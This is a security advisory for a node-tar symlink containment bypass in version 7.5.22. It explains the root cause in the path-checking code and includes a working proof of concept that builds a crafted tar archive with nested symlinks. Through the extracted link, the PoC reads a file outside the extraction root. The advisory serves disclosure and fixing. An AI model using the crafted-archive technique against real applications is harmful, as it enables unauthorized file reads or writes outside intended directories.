node-tar: Nested symlink target can escape node-tar extraction root
🔗 CVE IDs covered (1)
📋 Description
Summary
With default preservePaths: false, tar 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by ... The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.
This was reproduced locally on commit 2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.
Root cause
STRIPABSOLUTEPATH accepts a symlink linkpath containing .. if path.posix.normalize(path.posix.join(entryDir, linkpath)) appears to stay inside the extraction root (src/unpack.ts:263-302). Later, SYMLINK derives parts using path.resolve(dirname(entry.absolute), entry.linkpath) (src/unpack.ts:640-659), which also removes b/.. before ENSURE_NO_SYMLINK inspects each component (src/unpack.ts:679-698). LINK then writes the original unsimplified entry.linkpath with fs.symlink (src/unpack.ts:866-880).
For a/b -> ../x and a/c -> b/../.., the lexical check reduces the second target to the extraction root and never checks a/b. Actual filesystem traversal follows a/b to x first and then processes two parent components, ending in the extraction root's parent.
Safe local PoC
Run from a built checkout of 7.5.22:
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { Header, extract } from 'tar'
const parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))
const out = join(parent, 'out')
mkdirSync(out)
writeFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\n')
const block = h => {
const b = Buffer.alloc(512)
new Header(h).encode(b)
return b
}
const input = join(parent, 'input.tar')
writeFileSync(input, Buffer.concat([
block({ path: 'x/', type: 'Directory', size: 0 }),
block({ path: 'a/', type: 'Directory', size: 0 }),
block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),
block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),
Buffer.alloc(1024),
]))
const warnings = []
await extract({ file: input, cwd: out, onwarn: (code, message) => warnings.push({ code, message }) })
console.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())
console.log(warnings)
// OUTSIDE MARKER
// []
The marker is outside out; the access passes through a symlink extracted under out. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside out while extracting a subsequent member; its existing path checks may stop such an entry.
Impact and suggested fix
An attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.
Validate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses .. after a symlink component. In particular, inspect the unsimplified components before path.resolve() removes them. Add a regression case with a symlink component followed by .., and assert that the second link is rejected under default options.
Credit goes to GitHub user @mikkel32 as finder/reporter in the published advisory.
🎯 Affected products1
- npm/tar:>= 7.5.22, < 8.0.0
🔗 References (5)
- https://github.com/isaacs/node-tar/security/advisories/GHSA-6wwr-g865-f46r
- https://nvd.nist.gov/vuln/detail/CVE-2026-140248
- https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d
- https://github.com/isaacs/node-tar/releases/tag/v8.0.0
- https://github.com/advisories/GHSA-6wwr-g865-f46r